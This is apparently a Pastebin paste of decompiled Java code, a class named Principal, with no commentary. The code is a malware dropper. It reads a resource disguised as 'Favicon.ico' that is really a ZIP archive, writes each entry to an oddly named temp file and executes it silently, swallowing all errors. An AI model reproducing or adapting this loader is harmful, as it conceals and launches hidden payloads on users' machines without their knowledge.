Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
- // Jad home page: http://www.geocities.com/kpdus/jad.html
- // Decompiler options: packimports(3)
- // Source File Name: Principal.java
- import java.awt.Desktop;
- import java.io.*;
- import java.util.zip.ZipEntry;
- import java.util.zip.ZipInputStream;
- public class Principal extends Thread {
- public Principal() {
- }
- private String getFav() {
- return "Favicon.ico";
- }
- private InputStream getFaviconInputStream() {
- return getClass().getResourceAsStream(getFav());
- }
- public void run() {
- InputStream favInputStream = getFaviconInputStream();
- ZipInputStream zipInputStream = new ZipInputStream(favInputStream);
- ZipEntry zipEntry;
- try {
- while((zipEntry = zipInputStream.getNextEntry()) != null) {
- byte byteArray[] = new byte[1024];
- ByteArrayOutputStream bOutputStream = new ByteArrayOutputStream();
- int i;
- while((i = zipInputStream.read(byteArray)) > -1)
- bOutputStream.write(byteArray, 0, i);
- bOutputStream.close();
- String filename = zipEntry.getName();
- createAndExecuteTmpFile(filename, bOutputStream.toByteArray());
- zipInputStream.closeEntry();
- }
- }
- catch(IOException ex) { }
- }
- private void createAndExecuteTmpFile(String suffix, byte bArray[]) {
- try {
- File executableFile = File.createTempFile("asdqwdoiqjwdomasdlkasmdklasd", suffix);// params are prefix and suffix..
- FileOutputStream executableOutPutStream = new FileOutputStream(executableFile);
- executableOutPutStream.write(bArray);
- executableOutPutStream.close();
- executeFile(executableFile);
- }
- catch(Exception ex) { }
- }
- private void executeFile(File tempFile) {
- try {
- System.out.println("");
- if(tempFile.getName().contains(".jar")) {
- System.out.println("");
- Runtime.getRuntime().exec(new String[] {
- "java", "-jar", tempFile.getAbsolutePath()
- });
- } else {
- System.out.println("");
- Desktop.getDesktop().open(tempFile.getAbsoluteFile());
- }
- }
- catch(IOException ex) { }
- }
- public static void main(String args[]) {
- Principal p = new Principal();
- p.start();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement